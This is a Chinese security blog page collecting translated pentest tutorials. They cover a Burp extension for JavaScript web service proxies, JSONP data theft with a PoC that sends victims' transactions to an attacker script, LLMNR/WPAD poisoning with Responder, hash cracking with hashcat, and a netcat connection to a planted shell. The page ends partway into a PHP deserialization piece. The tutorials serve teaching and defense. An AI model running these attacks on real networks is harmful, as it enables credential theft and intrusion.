grt1st 发布的文章

使用BurpSuite攻击JavaScript Web服务代理

JavaScript Web服务代理是用于与WCF Web服务交互的WSDL(Web服务描述语言)文件的一种选择。这个代理文件用作Web服务方法的描述,公开可用的服务方法及其参数。 JavaScript服务代理或者说JSWS(JavaScript Web服务),它们是AJAX框架的组件,通常可以用于代替相同Web服务的WSDL。JSWS使用JavaScript来对描述符文件进行建模,并且传输中的JSON使得它成为WSDL的XML的一个很好的替代,因为JavaScript和JSON被大量集成到所有浏览器中。客户端应用程序将根据需要加载JSWS或嵌入到页面中。JSWS包含将指示浏览器创建JSON请求的JavaScript代码。JSWS文件的示例在下面。

Type.registerNamespace('NewsSite.AdGroups');
NewsSite.AdGroups.Advertisement=function() {
NewsSite.AdGroups.Advertisement.initializeBase(this);
this._timeout = 0;
this._userContext = null;
this._succeeded = null;
this._failed = null;
}
NewsSite.AdGroups.Advertisement.prototype={
_get_path:function() {
 var p = this.get_path();
 if (p) return p;
 else return NewsSite.AdGroups.Advertisement._staticInstance.get_path();},
GetAds:function(SubsectionID,AdGroupID,Element,iCounter,succeededCallback, failedCallback, userContext) {
return this._invoke(this._get_path(), 'GetAds',false,{SubsectionID:SubsectionID,AdGroupID:AdGroupID,Element:Element,iCounter:iCounter},succeededCallback,failedCallback,userContext); }}
NewsSite.AdGroups.Advertisement.registerClass('NewsSite.AdGroups.Advertisement',Sys.Net.WebServiceProxy);
NewsSite.AdGroups.Advertisement._staticInstance = new NewsSite.AdGroups.Advertisement();
NewsSite.AdGroups.Advertisement.set_path = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_path(value); }
NewsSite.AdGroups.Advertisement.get_path = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_path(); }
NewsSite.AdGroups.Advertisement.set_timeout = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_timeout(value); }
NewsSite.AdGroups.Advertisement.get_timeout = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_timeout(); }
NewsSite.AdGroups.Advertisement.set_defaultUserContext = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_defaultUserContext(value); }
NewsSite.AdGroups.Advertisement.get_defaultUserContext = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_defaultUserContext(); }
NewsSite.AdGroups.Advertisement.set_defaultSucceededCallback = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_defaultSucceededCallback(value); }
NewsSite.AdGroups.Advertisement.get_defaultSucceededCallback = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_defaultSucceededCallback(); }
NewsSite.AdGroups.Advertisement.set_defaultFailedCallback = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_defaultFailedCallback(value); }
NewsSite.AdGroups.Advertisement.get_defaultFailedCallback = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_defaultFailedCallback(); }
NewsSite.AdGroups.Advertisement.set_enableJsonp = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_enableJsonp(value); }
NewsSite.AdGroups.Advertisement.get_enableJsonp = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_enableJsonp(); }
NewsSite.AdGroups.Advertisement.set_jsonpCallbackParameter = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_jsonpCallbackParameter(value); }
NewsSite.AdGroups.Advertisement.get_jsonpCallbackParameter = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_jsonpCallbackParameter(); }
NewsSite.AdGroups.Advertisement.set_path("/AdGroups/Advertisement.asmx");
NewsSite.AdGroups.Advertisement.GetAds= function(SubsectionID,AdGroupID,Element,iCounter,onSuccess,onFailed,userContext) {NewsSite.AdGroups.Advertisement._staticInstance.GetAds(SubsectionID,AdGroupID,Element,iCounter,onSuccess,onFailed,userContext); }
var gtc = Sys.Net.WebServiceProxy._generateTypedConstructor;
if (typeof(NewsSite.AdGroups.AdGroupInfo) === 'undefined') {
NewsSite.AdGroups.AdGroupInfo=gtc("NewsSite.AdGroups.AdGroupInfo");
NewsSite.AdGroups.AdGroupInfo.registerClass('NewsSite.AdGroups.AdGroupInfo');
}

文件加载后,后续的请求将按以下方式格式化。

JSON-request.png

这个指示浏览器如何格式化请求的文件的一个副作用是这也可以帮助攻击者枚举Web服务方法和潜在注入点。 在这些可以利用之前,重要的是要了解JSWS何时使用,以及如何识别它。

识别JSWS

有多种不同的方法来识别这些服务何时在应用程序中使用。应用程序可以通过查找https://some.domaim.com/WebService.asmx/js来请求允许通过代理日志识别的JSWS文件。应用程序还可能请求具有调试信息的相同文件,https://some.domain.com/WebService.asmx/jsdebug。 jsdebug文件将包含有关所需参数的数据类型的附加信息,以及需要哪些参数。即使应用程序没有请求jsdebug文件,它很可能仍然可用。

或者,应用程序可能使用PageMethods技术,这意味着JSWS将直接嵌入到页面中。

这通常在aspx页面而不是asmx,但它可以与任何扩展一起。这个方法可以通过搜索服务器响应的“PageMethods”字符串,或通过检查代理日志的方法调用来识别(例如https://some.domain.com/WebService.aspx/GetInformation

JSWS扩展

在识别出这种技术正在使用之后,攻击者能够处理Web服务将接受的所有请求变化,但这需要时间,并且可能相当冗长乏味。开始在评估中经常看到JSWS之后,我决定创建一个Burp扩展来自动化这个过程。该工具是在Eric Gruber的Wsdler之后建模的,并且以相同的方式运行。JSWS扩展可以从https://github.com/NetSPI/JSWS下载,目前正在等待进入BApp商店。

要使用此工具,只需右键单击包含JSWS的请求或响应,然后单击Parse JSWS(解析JSWS)。如果应用程序正在加载JSWS文件,则该文件应已位于代理日志中。

parse-JSWS.png

建议解析jsdebug文件而不是js文件,因为它会给用户提供更多关于篡改哪些类型的参数的信息。

如果应用程序使用JSWS的PageMethods表示,请右键单击包含PageMethods代码的请求或响应,然后单击Parse JSWS。

然后,JSWS扩展将打开一个JSWS选项卡,以及一个用于刚刚解析的服务的子选项卡。 在此选项卡下有两个窗格,顶部包含所有可用的方法,底部包含JSON模板。

JSWS-tab.png

从这里,请求可以作为任何JSON请求处理,并可以发送到Repeater进行手动测试,或者Intruder和Scanner进行自动测试。

结论

该扩展程序当前不能通过被动扫描检测到JSWS的存在。这项功能正在实现将在未来的版本中发布。对于你可能发现的任何功能要求或错误,请给我发电子邮件或在Github提问。

JSONP注入实战

原文:https://securitycafe.ro/2017/01/18/practical-jsonp-injection/

JSONP注入是一个鲜为人知的但是非常广泛和危险的漏洞。它在近几年才出现,由于JSON,web API和跨域通信的急需。

什么是JSONP

假设每个人都知道JSON是什么,让我们谈谈一下JSONP。 JSONP来自带有填充的JSON,被创建来绕过常见的限制,例如同源策略。

举个例子。 我们的网上银行应用程序,http://verysecurebank.ro,实现了一个返回当前用户的交易的API调用。

访问http://verysecurebank.ro/getAccountTransactions的HTTP请求向我们提供了当前用户的交易内容,JSON格式:

json-transactions.png

如果我们的报告应用程序,想访问http://reports.verysecurebank.ro获得交易详细信息,由于同源原则生效(不同的主机),将无法通过AJAX调用该页面。

sop-json.png

为了解决这个问题,JSONP发挥了作用。 由于跨域脚本包含(主要用于外部加载JavaScript库,如jQuery,AngularJS等)是允许但不推荐的,一个聪明的技巧显然解决了整个问题:在响应前加上回调。

注意:即使它可能是显而易见的,值得提及的是,当包括脚本跨域时,它将在包含应用程序的上下文中运行,而不是在源的上下文中运行。

添加一个回调到API响应,包裹JSON格式的数据,允许我们加载脚本标签之间的API响应,并通过定义我们自己的回调函数来处理它的内容。

怎么使用JSONP

这是你最容易遇到的情况:

1.回调函数在响应中硬编码
1)基本函数调用
2)对象方法调用
2.回调函数是动态的
1)完全可控的URL(GET变量)
2)部分可控的URL(GET变量),但附加一个数字
3)可控的URL(GET变量),但最初不显示在请求中

基本函数调用

一个非常常见的示例,其中myCallback回调在响应中硬编码,包裹在JSON格式的数据上:

callback-example.png

我们可以通过首先定义myCallback函数,然后在脚本标签中引用API调用来轻松使用它:

callback-example-code.png

注意:确保在包含响应之前定义函数,否则将调用未定义的函数,并且不会获取任何数据。

当登录的受害者访问我们的恶意页面时,我们抓取他的数据。 为了简洁起见,我们在当前页面中显示整齐格式化了的数据。

callback-example-result.png

对象方法调用

这几乎与第一个示例相同,你可能会在ASP或ASP.NET Web应用程序中遇到它。 在我们的示例中,System.TransactionData.Fetch作为回调围绕JSON格式的数据被添加:

multiple-callback-example.png

我们只是为已经是System对象一部分的TransactionData对象创建Fetch方法。

multiple-callback-code.png

结果是相同的,所以没有截图。

完全可控的URL(GET变量)

这是你会遇到的最常见的情况。 回调函数在URL中指定,我们可以完全控制它。 回调URL参数允许我们更改回调的名称,因此我们将设置它来测试,并在响应中看它的改变:

specified-callback-example.png

我们基本上可以使用相同的代码,但是不要忘记在包含带有脚本标签的响应时添加回调参数。

specified-callback-code.png

部分可控的URL(GET变量),但附加一个数字

在这种情况下,回调函数名称附加了一些东西,通常是一个数字。 在大多数情况下,我们得到的东西像jQuery和一个附加到它的短号,像12345,回调成为jQuery12345。

appended-callback-example.png

逻辑上,代码保持不变,我们只需要将12345添加到我们的回调函数名称,而不是包含脚本时。

appended-callback-code.png

但如果数字不是硬编码怎么办? 如果是动态的、每个会话都不同怎么办? 如果它是一个相对较短的数字,我们可以用过编程预定义每个可能性的函数。 让我们假设附加的数字高达99999。 我们可以以编程方式创建所有这些函数,所以附加的数字,我们已经有一个回调函数。 这里是示例代码,我使用一个更简单的回调来说明结果:

appended-callback-code-generate.png

这里发生了什么:我们有硬编码的回调名称jQuery,我们为函数的数量设置了一个限制。 在第一个循环中,我们在callbackNames数组中生成回调函数名。 然后我们循环遍历数组,并将每个回调名称转换为全局函数。 请注意,为了缩短代码,我只提醒第一笔交易中发送的金额。 让我们看看它是如何工作的:

appended-callback-alert.png

在我的机器上,花了大约5秒钟显示警报,回调名称为jQuery12345。 这意味着Chrome在5秒内创建了超过10.000个功能,所以我大胆地说,这是一个很可行的方法。

可控的URL(GET变量),但最初不显示在请求中

最后一个场景涉及一个显然没有回调的API调用,因此没有可见的JSONP。 这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。

如果我们有以下API调用http://verysecurebank.ro/getAccountTransactions,我们可能会尝试猜测回调变量:

这些只是最常见的回调名称,请随意猜测更多。 如果我们的回调被添加到响应,bingo,让我们道德地抓取一些数据。

基本数据抓取

因为我们直到现在才显示数据,让我们看看如何把它发送给我们。 这是JSONP数据抓取的一个小示例,可以将其用作概念验证。

steal-code.png

我们发送应用响应(比如用户的交易内容)在data参数中的get请求给我们的数据抓取器。

注意:确保对数据使用了JSON.stringify(),因为它是一个对象,我们不希望在我们的文件中只有[object Object]。

注意:如果响应很大,请确保切换到POST,因为HTTP GET的大小限制,可能无法接收完整的数据。

这里是我们的grabData.php代码,我们将接收到的数据追加到data.txt文件中:

steal-php.png

常见问题

在寻找JSONP漏洞的Web应用程序时,我们可能会遇到一些问题。 这里我们尝试解决他们。

Content-Type和X-Content-Type-Options

如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascripttext/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。

如果您想知道浏览器解释为JavaScript的内容类型,请访问https://mathiasbynens.be/demo/javascript-mime-type

在此示例中,Content-Type设置为application/jsonX-Content-Type-Options设置为nosniff

content-type-error.png

最新版本的Google Chrome,Microsoft Edge和Internet Explorer 11成功阻止了脚本执行。 但是,Firefox 50.1.0(目前是最新版本)没有。

注意:如果X-Content-Type-Options:nosniff头未设置,它将适用于所有上述浏览器。

注意:旧版本的浏览器没有考虑严格的MIME类型检查,因为最近实现了X-Content-Type-Options。 根据Mozilla,这是由于浏览器的兼容性:

browser-compatibility.png

响应码

有时我们可能会得到一些其他响应代码,而不是200,特别是当我们搞乱了响应。 我在这些浏览器上进行了几个测试:

  • Microsoft Edge 38.14393.0.0
  • Internet Explorer 11.0.38
  • Google Chrome 55.0.2883.87
  • Mozilla Firefox 50.1.0

发现了这些不一致:

Response Code        Works in
100 Continue        Internet Explorer, Microsoft Edge, Google Chrome
101 Switching Protocols        Google Chrome
301 Moved Permanently        Google Chrome
302 Found        Google Chrome
304 Not Modified        Microsoft Edge

因此,即使我们没有获得200 HTTP代码,该漏洞仍然可以在其他浏览器中使用。

绕过referer检查

1.使用data URI scheme

如果有HTTP Referer检查,我们可以尝试不发送它来绕过验证。 我们怎么能做到这一点?通过data URI。

我们可以利用data URI scheme,以便在没有HTTP Referer的情况下发出请求。 因为我们处理的代码,包括引号,双引号和其他语法破坏字符,我们将对base64编码我们的payload(回调定义和脚本包含)。

语法:

data:text/plain;base64,our_base64_encoded_code

iframe-src.png

以下是允许我们使用data URI scheme的三个主要HTML标签:

  • iframe(在src属性中) - 它在Internet Explorer中不起作用
  • embed(在src属性中) - 它在Internet Explorer和Microsoft Edge中不起作用
  • object(在data属性) - 它在Internet Explorer和Microsoft Edge中不起作用

我们可以看到,API请求中没有发送HTTP Referer。

referer-browser.png

2.从https到http的请求

如果我们的目标网站可以通过HTTP访问,我们还可以通过在HTTPS页面上托管我们的代码来避免发送HTTP Referer。 如果我们从HTTPS页面发出HTTP请求,则浏览器不发送Referer头以防止信息泄露。

我们所有要做的只是在启用HTTPS的网站上托管我们的恶意代码。

注意:由于混合内容安全机制,这不适用于具有默认设置的现代Web浏览器。 受害者已手动接受浏览器的安全警告。

mixed-content.png

但是,它在旧版本的浏览器中使用,并且不发送HTTP Referer头,我们可以看到:

https-to-http.png

我们如何解决这个问题

最后,让我们看看我们如何防止这种情况的发生。 最直接和最现代的方法是CORS(跨源资源共享)。

1.完全删除JSONP功能
2.将Access-Control-Allow-Origin标头添加到API响应中
3.使用跨域AJAX请求

因此,http://reports.verysecurebank.ro将以下跨域AJAX请求嵌入到http://verysecurebank.ro/getAccountTransactions

ajax-request-code.png

API响应包括Access-Control-Allow-Originhttp://reports.verysecurebank.ro

ajax-request-headers.png

我们得到http://verysecurebank.ro/getAccountTransactions的内容:

ajax-request-content.png

结论

虽然JSONP使用量在减少,但仍然有大量的网站依然在使用它。 作为最后一个提示,当处理JSONP时,也不要忘记检查反射型文件下载和反射型xss。

LLMNR&WPAD介绍以及渗透测试中的利用

原文:https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

在内网渗透测试中,我们可以针对错误配置的网络服务和协议进行攻击,比如地址解析协议(ARP),动态主机配置协议(DHCP)和域名系统(DNS)等的错误配置。其中可以遇到的一个最重要的无疑是中间人攻击,它可以通过监听网络流量或操纵要访问的目标来访问敏感信息。虽然可以对诸如路由器和交换机的网络设备采取针对这种攻击的安全措施,但是由于一些协议的本身弱点,我们可以用不同的方法进行类似的中间人攻击。因此,本文的主题将是针对LLMNR,NetBIOS和WPAD机制的中间人攻击。在开始之前,本文将解释一下使用windows系统的计算机如何在同一个网络中进行通信,并执行名称解析。

该过程有如下步骤:

1.检查文件系统中的主机文件

在其配置文件中,查询其想要访问的系统信息。同时,它检查要访问的设备是否是自身。
配置文件位于C:WindowsSystem32driversetc

2.检查本地DNS缓存

首先检查缓存。如果要访问的设备的信息存在于高速缓存中,则使用该信息。
可以使用ipconfig / displaydns命令学习DNS缓存。

3.向DNS发送查询

如果计算机未从配置文件中找到任何其想要访问的设备的信息,它会向本地网络上的DNS服务器发送查询。

4.发送LLMNR查询

LLMNR是DNS服务器名称解析失败时处理的协议。

5.发送NetBIOS-NS查询

它在OSI模型的“会话”层中工作。 NetBIOS是一种API,不是协议,用于在Windows操作系统之间进行通信。
计算机的NetBIOS名称与计算机名称相同。

什么是LLMNR&WPAD

LLMNR(链路本地多播名称解析)和NetBIOS-NS(名称服务)是Windows操作系统用于名称解析和通信的两个组件。 LLMNR第一次被用于Windows Vista操作系统,被视为NetBIOS-NS服务的延续。

在DNS服务器名称解析查询失败的情况下,这两个服务继续名称解析。 LLMNR和NetBIOS-NS服务尝试解析DNS服务器无法应答的查询。 实际上,这是Windows操作系统计算机之间的合作形式。

LLMNR协议由IPv4的链路范围组播IP地址224.0.0.252和IPv6的FF02:0:0:0:0:0:1:3服务。 它通过5355的TCP/UDP端口执行自己的操作。

例如,当尝试ping到不在网络上的test.local时,第一个查询转到DNS服务器。 如果DNS服务器无法解析此域名,则查询将重定向到LLMNR协议。 LLMNR不是DNS协议的替代,它是DNS查询失败的情况下改进的解决方案。 它受Windows Vista之后推出的所有操作系统的支持。

llmnr_wireshark.png

NetBIOS是本地网络中的系统用于相互通信的API。 有三种不同的NetBIOS服务。

  • 名称服务,它使用UDP 137端口用于名称注册和名称解析。
  • 数据报分发服务,它使用UDP 138端口进行无连接通信。
  • 会话服务,它在TCP 139端口上执行面向连接通信的操作。

LLMNR协议在未成功的DNS查询之后使用,然后,作为广播查询的NetBIOS-NS分组被包括在流量中。

netbios_wireshark.png

理论上,这些看似无害和功能的系统没有保护在本地网络上的中间人攻击。 攻击者可以成功攻击获得敏感数据,如用户名和密码哈希。

通过操作流量捕获NTLMv2散列

主要情况如下图所示:

llmnr.png

1.受害者将尝试连接到文件共享系统,名为filesrvr,他键入不正确。

2.我们之前提到的步骤执行的名称解析将首先在受害者的计算机上进行查询。

3.在步骤2中,由于DNS服务器没有相应的记录,系统的名称作为LLMNR发送,NetBIOS-NS查询。

4.攻击者侦听网络流量,捕获名称解析查询。 我们告诉受害者,我们是受害者寻找的filsrvr。

攻击者将侦听广播并响应所有LLMNR和NetBIOS-NS查询。 以这种方式,可以操纵假会话并获得用户名和密码哈希。

有不同的工具来进行这个攻击。

  • Responder由SpiderLabs开发。 (本文将使用此工具)
  • llmnr_response(Metasploit框架中的一个模块)
  • MiTMf

我们通过指定网络端口号来开始监听网络流量。

root@kali:~# responder -i 10.7.7.31
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C
[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: ALL
Challenge set: 1122334455667788
WPAD Proxy Server: False
WPAD script loaded: function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: False
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

受害者尝试连接filesrvr共享

flsrvr.png

我们获得了SMB-NTLMv2散列!

LLMNR poisoned answer sent to this IP: 10.7.7.30. The requested name was : filesrvr.
[+]SMB-NTLMv2 hash captured from : 10.7.7.30
[+]SMB complete hash is : Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000
NBT-NS Answer sent to: 10.7.7.30. The requested name was : TOWER

NTLMv2哈希不能直接用于攻击,因此,我们需要执行密码破解攻击,以从捕获的哈希中获取纯文本密码。 有几个工具可以用于散列破解:John the Ripper,Hashcat,Cain&Abel,Hydra等。我们将使用hashcat破解我们从Responder中获得的NTLMv2哈希。

Responder工具将检测到的哈希值保留在/usr/share/responder目录下。

root@kali:/usr/share/responder# ls *30*
SMB-NTLMv2-Client-10.7.7.30.txt

我们获得的NTLMv2哈希如下:

root@kali:/usr/share/responder# cat SMB-NTLMv2-Client-10.7.7.30.txt 
Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000

Hashcat是一个开源的密码破解工具,并且它有GPU支持。 它可以使用-m参数检测哈希模式,使用字典启动强力攻击。

root@kali:/usr/share/responder# hashcat -m 5600 SMB-NTLMv2-Client-10.7.7.30.txt ~/dic.txt 
Initializing hashcat v2.00 with 4 threads and 32mb segment-size...
Added hashes from file SMB-NTLMv2-Client-10.7.7.30.txt: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
[s]tatus [p]ause [r]esume [b]ypass [q]uit => 
Input.Mode: Dict (/root/dic.txt)
Index.....: 1/5 (segment), 3625424 (words), 33550339 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 6.46M plains, 6.46M words
Progress..: 3625424/3625424 (100.00%)
Running...: --:--:--:--
Estimated.: --:--:--:--
--- snippet ---
ADMINISTRATOR::PENTESTLAB:1122334455667788:e360938548a17bf8e36239e2a3cc8ffc:0101000000000000ee36b4ee7358d201e09a8038de69150f0000000002000a0073006d006200310032000100140053004500520056004500520032003000300038000400160073006d006200310032002e006c006f00630061006c0003002c0053004500520056004500520032003000300038002e0073006d006200310032002e006c006f00630061006c000500160073006d006200310032002e006c006f00630061006c00080030003000000000000000000000000030000056a8a45ab1d3338b0049b358b877aeeee1aa43715ba0639fb20a86281c8fe2b40a0010000000000000000000000000000000000009001a0063006900660073002f00660069006c00650073007200760072000000000000000000:Abcde12345.
 
All hashes have been recovered
Input.Mode: Dict (/root/dic.txt)
Index.....: 5/5 (segment), 552915 (words), 5720161 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 1.60M words
Progress..: 552916/552915 (100.00%)
Running...: 00:00:00:01
Estimated.: > 10 Years
Started: Sat Dec 17 23:59:22 2016
Stopped: Sat Dec 17 23:59:25 2016
root@kali:/usr/share/responder#

我们得到的密码是Abcde12345。

什么是WPAD?

公司允许员工通过代理服务器访问互联网以提高效率,确保安全性并跟踪流量。连接到公司网络的用户需要知道特定URL的代理服务器,而无需进行配置。 Web代理自动发现协议(WPAD)是客户端使用DHCP和DNS发现方法来定位配置文件的URL的方法。 一旦配置文件的检测和下载完成,就可以通过执行它来确定指定URL的代理。

WPAD怎么工作?

客户端希望访问wpad.dat配置文件以进行代理配置。 它搜索本地网络上名为“wpad”的计算机以查找此文件。 然后执行以下步骤:

1.如果配置了DHCP服务器,则客户端从DHCP服务器检索wpad.dat文件(如果成功,则执行步骤4)

2.将wpad.corpdomain.com查询发送到DNS服务器以查找正在分发Wpad配置的设备。 (如果成功,则采取步骤4)

3.发送WPMN的LLMNR查询(如果成功,请转到步骤4,否则代理不能使用)

4.下载wpad.dat并使用

根据上述顺序,可以对第一步进行DHCP投毒攻击。 DNS投毒攻击自然可以执行第二步,但正如我在本文开头所指出的,配置的网络设备可以防止这些攻击。 当通过LLMNR进行查询时,该请求将通过广播去到网络中的每个客户端。 在这一点上,攻击者将他的wpad.dat文件发送到客户端,就像wpad服务器。

重要的是WPAD协议是在Windows操作系统中内置的。 此配置可以在Internet Explorer浏览器的LAN设置部分中看到。

wpad.png

通过此配置,Internet Explorer在整个网络上进行WPAD名称解析查询。

利用WPAD

Responder是MiTM攻击的一个很好的实用工具。 Responder创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。 Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。 自然地,员工写入在域名中使用的用户名和密码。 最后,我们可以看到他们的用户名和密码。

使用Responder工具真的很简单。

root@kali:~# git clone https://github.com/SpiderLabs/Responder.git
Cloning into 'Responder'...
remote: Counting objects: 886, done.
remote: Total 886 (delta 0), reused 0 (delta 0), pack-reused 886
Receiving objects: 100% (886/886), 543.75 KiB | 255.00 KiB/s, done.
Resolving deltas: 100% (577/577), done.
Checking connectivity... done.

我设置了以下系统来模拟这种攻击。

wpad_topo-1.png

现在,我们创建了假的HTTP服务并等待明文密码。

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Poisoning Options:
 Analyze Mode [OFF]
 Force WPAD auth [ON]
 Force Basic Auth [ON]
 Force LM downgrade [OFF]
 Fingerprint hosts [OFF]
[+] Generic Options:
 Responder NIC [eth0]
 Responder IP [10.7.7.31]
 Challenge set [1122334455667788]
[+] Listening for events...

wpad_attack.png

明文密码如下:

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name GOOGLE.COM (service: Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name WWW.GOOGLE.COM (service: Workstation/Redirector)
[HTTP] Basic Client : 10.7.7.30
[HTTP] Basic Username : PENTESTLAB\roland
[HTTP] Basic Password : secr3tPassw0rd123!
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[SMB] NTLMv2-SSP Client : 10.7.7.30
[SMB] NTLMv2-SSP Username : PENTESTLAB\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::PENTESTLAB:1122334455667788:8EBDB974DF3D5F4FB0CA15F1C5068856:01010000000000007894C6BE2C54D201FCEDFDB71BB6F1F20000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000B39077D5C9B729062C03BB45B88B0D9EC2672C57115A1FE3E06F77BD79551D8F0A001000000000000000000000000000000000000900220063006900660073002F007200650073007000700072006F00780079007300720076000000000000000000
[SMB] Requested Share : \\RESPPROXYSRV\IPC$
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] Skipping previously captured hash for PENTESTLAB\roland

Responder的后门

Responder不仅可以针对WPAD服务的MiTM攻击。 它也可以强制受害者到一个假网页下载恶意文件。 社会工程可以用来真实地准备用于这次攻击的网页,响应者本身也有一个假的重定向页面。 我们所需要做的就是对responder.conf文件进行一些修改。 我们将“Serve-HTML”和“Serve-EXE”参数设置为“On”。

[HTTP Server]
; Set to On to always serve the custom EXE
Serve-Always = On
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On 
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On

我们再次运行Responder。

root@kali:~/Responder# python Responder.py -I eth0 -i 10.7.7.31 -r On -w On

现在,当受害者尝试使用互联网只会看到以下页面。 如果受害者点击代理客户端连接,下载CMD Shell,我们就可以使用netcat连接到受害者的140端口。

root@kali:~/Responder# nc 10.7.7.30 140 -vv
10.7.7.30: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [10.7.7.30] 140 (?) open
        | 
        | 
        | 
    /\  |  /\  
    //\. .//\ 
    //\ . //\ 
    /  ( )/  \ 
Welcome To Spider Shell!
ipconfig
Microsoft Windows [Version 6.1.7601]
(c) 2009 Microsoft Corporation. All Rights reserved.
C:\Users\Roland\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
   Connection-spesific DNS Suffix   . : PENTESTLAB.local
   IPv4 Address . . . . . . . . . . . : 10.7.7.30
   Subnet Mask . . . . . . . . . . .  : 255.255.255.0
   Default Gateway . . . . . . . . .  : 10.7.7.1

针对WPAD的防御

  • 使用指向公司代理服务器的“WPAD”创建DNS条目, 所以攻击者将无法操纵流量。
  • 在所有具有组策略的Internet Explorer上禁用“自动检测代理设置”。

参考

由HITCON 2016一道web聊一聊php反序列化漏洞

反序列化漏洞在各种语言中都较为常见,下面介绍一下php的反序列化漏洞。

1.unserialize函数

php官方文档(http://php.net/manual/en/function.unserialize.php),从中可以得到信息unserialize函数会产生一个php值,类型可能为数组、对象等等。如果被反序列化的变量为对象,在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false)同时给出了警告,不要传递给unserialize不信任的用户输入。

理解序列化的字符串(unserlialize的参数):

O:3:”foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}

O:3: 参数类型为对象(object),数组(array)为a

“foo”:2: 参数名为foo,有两个值

S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i),长度为4,值为file。长度为9的字符串shell.php

s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data,长度为5的字符串aaaaa

object foo,属性file:shell.php,属性data:aaaaa

2.反序列化漏洞

php反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)

个人理解漏洞为执行unserialize函数,调用某一类并执行魔术方法(magic method),之后可以执行类中函数,产生安全问题。

所以漏洞的前提:

  • 1)unserialize函数的变量可控
